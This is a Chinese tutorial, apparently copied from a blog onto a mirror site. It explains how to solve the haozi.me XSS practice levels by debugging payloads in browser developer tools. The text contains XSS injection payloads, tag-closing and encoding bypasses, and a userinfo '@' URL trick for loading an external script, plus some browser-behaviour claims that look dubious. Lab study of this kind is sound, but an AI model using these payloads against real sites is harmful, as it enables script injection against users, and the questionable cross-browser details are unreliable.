当前位置: 首页 > news >正文

换个思路玩XSS:用开发者工具和浏览器控制台动态调试haozi.me靶场

换个思路玩XSS:用开发者工具和浏览器控制台动态调试haozi.me靶场

在传统XSS漏洞学习中,我们往往习惯于直接提交payload并观察弹窗效果,这种方式虽然直观,却容易忽略浏览器解析机制、DOM树构建过程以及不同渲染引擎的细微差异。本文将带你用开发者工具的显微镜视角,重新解构haozi.me靶场的每个关卡,通过动态调试发现那些藏在标签闭合、字符编码和事件处理背后的秘密。

1. 为什么需要动态调试XSS?

当我们面对一个过滤了<script>标签的输入框时,静态思考通常会尝试各种编码变形。但如果你打开Chrome的Elements面板实时观察,可能会发现:

<div id="output"> &lt;img src=x onerror=alert(1)&gt; </div>

这里的关键在于服务器端实体编码(&lt;)与客户端解码的时机差异。通过控制台执行document.getElementById('output').innerHTML,你能立即看到浏览器实际解析的HTML结构:

> document.getElementById('output').innerHTML "<img src=x onerror=alert(1)>"

典型调试流程

  1. 在Network面板查看原始HTTP响应
  2. 在Elements面板定位注入点DOM位置
  3. 使用Console测试各种编码解码组合
  4. 通过右键"Edit as HTML"实时修改DOM验证思路

2. 开发者工具实战:突破常规过滤

2.1 闭合标签的多种姿势

以0x01关卡为例,当输入被插入到<textarea>中时,传统解法是直接闭合标签。但在Firefox中尝试以下操作:

// 获取textarea的outerHTML观察原始结构 document.querySelector('textarea').outerHTML // 尝试用十六进制编码闭合标签 testPayload = '</textarea\x3e<img src=x onerror=alert(1)>' document.querySelector('textarea').insertAdjacentHTML('afterend', testPayload)

浏览器差异注意点

浏览器\x3e的解释自动补全机制
Chrome立即解码可能补全缺失标签
Firefox保持原样较少自动修正
Safari视上下文而定严格遵循标准

2.2 事件处理的黑魔法

0x06关卡演示了如何利用type="image"特性绕过过滤。在控制台可以通过原型链检查发现:

const input = document.createElement('input') input.type = 'image' console.dir(input) // 查看onerror等隐藏属性

提示:在Elements面板右键任何节点选择"Store as global variable",即可在Console通过temp1引用该节点进行实验

3. 高级技巧:编码与解析的博弈

3.1 HTML实体编码的层叠效应

0x04关卡需要处理双重编码问题。通过以下步骤验证:

// 测试实体编码解码顺序 encodedPayload = '&lt;img src=x onerror=alert&amp;#40;1&amp;#41;&gt;' testDiv = document.createElement('div') testDiv.innerHTML = encodedPayload console.log(testDiv.firstChild.outerHTML)

关键发现

  • 第一次解码由浏览器HTML解析器完成
  • onerror属性内的编码由JavaScript引擎二次解码
  • 不同浏览器对&amp;#40;的处理存在毫秒级时序差异

3.2 Unicode同形字攻击的视觉欺骗

0x0E关卡涉及字符变形,在Console中可以这样检测:

// 检测视觉相似字符 function checkHomoglyph(char) { return { original: char, codePoint: char.codePointAt(0).toString(16), normalized: char.normalize('NFKD') } } checkHomoglyph('Å¿') // 返回真实Unicode信息

4. 浏览器工作流深度剖析

4.1 从输入到DOM的完整路径

  1. 原始输入阶段

    # 使用curl查看原始响应(模拟Network面板) curl -s https://xss.haozi.me/0x00 | grep -C10 "input"
  2. HTML解析阶段

    • 在Chrome的Performance面板录制页面加载过程
    • 观察"Parse HTML"事件中的详细调用栈
  3. 脚本执行阶段

    // 监控动态创建的脚本 const oldCreateElement = document.createElement document.createElement = function(tag) { console.log(`Creating <${tag}>`) return oldCreateElement.apply(this, arguments) }

4.2 安全机制绕过实践

以0x0A关卡的URL解析为例,在Console测试不同变体:

function testURL(url) { const a = document.createElement('a') a.href = url console.log({ origin: a.origin, hostname: a.hostname, pathname: a.pathname }) } testURL('https://www.segmentfault.com@xss.haozi.me/j.js')

跨浏览器测试结果

  • Chrome 103+:强制显示@符号警告
  • Firefox 98:静默处理但阻止脚本加载
  • Safari 15:完全执行原始逻辑

5. 打造个性化调试环境

5.1 自定义代码片段

在Sources面板的Snippets标签页创建以下工具函数:

// 快速测试payload function testXSS(payload) { const iframe = document.createElement('iframe') iframe.srcdoc = `<html><body>${payload}</body></html>` document.body.appendChild(iframe) setTimeout(() => iframe.remove(), 1000) } // 编码转换工具 const encoder = { html: s => s.replace(/[<>"&]/g, c => ({'<':'&lt;','>':'&gt;','"':'&quot;','&':'&amp;'}[c])), js: s => [...s].map(c => `\\x${c.charCodeAt(0).toString(16)}`).join('') }

5.2 自动化测试工作流

结合Puppeteer实现半自动化验证:

// 在DevTools的Console中可直接运行的代码 (async () => { const targets = [ '0x00', '0x01', '0x02' // 添加所有关卡路径 ] for (const target of targets) { const url = `https://xss.haozi.me/${target}` const iframe = document.createElement('iframe') iframe.src = url document.body.appendChild(iframe) await new Promise(resolve => { iframe.onload = () => { console.log(`Testing ${target}:`) // 在这里添加针对每个关卡的测试代码 iframe.remove() resolve() } }) } })()

在Edge浏览器中,还可以使用内置的WebView2工具直接调试iframe内容,无需手动移除安全限制。

http://www.jsqmd.com/news/957071/

相关文章:

  • 2026年石家庄搬家公司推荐:5家靠谱选择助力轻松搬家 - 本地品牌推荐
  • 如何在3DS上使用PKSM:宝可梦存档管理的完整新手指南
  • 用北醒TF雷达上位机做数据记录与分析:从实时图表到导出文本文件的完整流程
  • 2026国产多声道超声波流量计十大标杆品牌深度评测与选型指南 - 仪表品牌排行榜
  • APC Smart-UPS串口通讯避坑指南:为什么你的RS232转USB线一插就断电?
  • RData文件避坑指南:为什么你的load()后变量名冲突了?详解rm()与工作空间管理的正确姿势
  • 终极指南:如何在Mac上免费增强视频预览功能——QLVideo完整安装教程
  • USB MSC BOT协议解析:CBW/CSW数据结构与嵌入式实现
  • 充电桩火灾识别 电动车烟雾火灾检测 分割识别报警系统
  • Cesium for Unity 终极指南:5分钟掌握全球3D地理空间开发
  • 别再手动配集群了!用TongWeb集中管理+THS,30分钟搞定高可用Java应用部署
  • Speechless终极指南:一键免费备份微博到PDF的高效解决方案
  • 你的回归模型真的靠谱吗?手把手教你用SPSS完成方差分析与系数检验(含结果报告模板)
  • 2026年松下压缩机优质厂家推荐榜单:万宝卧式/涡旋/空调/热泵/冷库压缩机品牌实力与性能深度解析 - 品牌企业推荐师(官方)
  • 宇视摄像机网页控件加载失败排查指导
  • 2026年河北电采暖与京津冀/西北采暖方案深度横评指南 - 企业名录精选推荐
  • 山东链条导轨厂家实测排行:5家合规供应商客观对比 - 奔跑123
  • 你心中最理想的科研辅助工具长什么样?PaperRed(AI写作+绘图+仿真+建模)论文配图几乎全中
  • 别再死记硬背公式了!用OpenCV的calibrateHandEye函数5分钟搞定机械臂手眼标定
  • SAP ABAP开发:手把手教你用SMW0给程序加个Excel模板导入下载功能(附完整代码)
  • GitHub Desktop保姆级教程:从安装到第一次提交,避开新手所有坑
  • 基于BERT微调的多标签文本分类实战项目(含数据预处理、训练、预测全流程代码)
  • 终极指南:3大秘籍教你用SMUDebugTool释放AMD Ryzen处理器隐藏性能
  • 嵌入式Linux文件系统挂载失败:从内核恐慌到系统启动的完整调试指南
  • 6月4号
  • 从零搭建数字IC验证环境:我的VCS+Linux环境配置踩坑实录(附避坑指南)
  • 2026年河北电采暖与京津冀/西北采暖方案深度测评指南 - 企业名录精选推荐
  • 从“眼在手上”到“眼在手外”:两种机械臂视觉方案的手眼标定实战与选型指南
  • 2026全国核心期刊发表辅导机构实力排行|八大品牌深度实测与差异化选型 - 互联网科技品牌测评
  • 杭州全城上门估包,实时参考当日二手行情报价 - 奢侈品回收评测